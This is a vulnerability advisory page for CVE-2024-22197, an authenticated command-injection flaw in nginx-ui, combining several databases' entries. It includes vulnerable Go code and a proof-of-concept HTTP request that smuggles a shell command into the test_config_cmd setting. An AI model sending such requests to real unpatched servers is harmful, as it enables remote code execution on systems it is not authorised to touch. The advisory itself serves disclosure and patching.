CVE-2024-22197
JSON

7.7high

Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

Severity
7.7high CVSS:3.1 by GitHub_M
Exploit likelihood
1.54% (higher than 75% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-pxmr-q2x3-9x9mGO-2024-2464

Description

Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.

Affected

Product or packageVersionsReported by
0xJacky nginx-ui< 2.0.0.beta.9CVE List
github.com/0xJacky/Nginx-UI (Go)before 1.9.10-0.20231219184941-827e76c46e63GitHub Advisory Database, Go Vulnerability Database
nginxui nginx_uibefore 2.0.0, 2.0.0NVD

All scores

GitHub_M7.7high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
GitHub7.7high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
NVD8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-77

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.

GitHub Advisory Database
Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
	if settings.NginxSettings.TestConfigCmd != "" {
		out = execShell(settings.NginxSettings.TestConfigCmd)

		return
	}

	out = execCommand("nginx", "-t")

	return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
	bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
	out = string(bytes)
	if err != nil {
		out += " " + err.Error()
	}
	return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.

  1. Login as a newly created user.
  2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
  2. Verify that /tmp/pwned exists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned
Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Go Vulnerability Database

Remote command execution in github.com/0xJacky/Nginx-UI

NVD (es)

Nginx-ui son estadísticas en línea para indicadores del servidor. Supervise el uso de la CPU, el uso de la memoria, el promedio de carga y el uso del disco en tiempo real. La página `Home &gt; Preference` expone una pequeña lista de configuraciones de nginx, como `Nginx Access Log Path` y `Nginx Error Log Path`. Sin embargo, la API también expone `test_config_cmd`, `reload_cmd` y `restart_cmd`. Si bien la interfaz de usuario no permite a los usuarios modificar ninguna de estas configuraciones, es posible hacerlo enviando una solicitud a la API. Este problema puede provocar una ejecución remota de código, una escalada de privilegios y una divulgación de información autenticada. Este problema se solucionó en la versión 2.0.0.beta.9.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-22197 changed 2025-06-17CVE Terms of Use
GitHub Advisory DatabaseGHSA-pxmr-q2x3-9x9m changed 2026-07-06CC-BY-4.0
Go Vulnerability DatabaseGO-2024-2464 changed 2024-05-20CC-BY-4.0
NVDCVE-2024-22197 changed 2026-06-17Public domain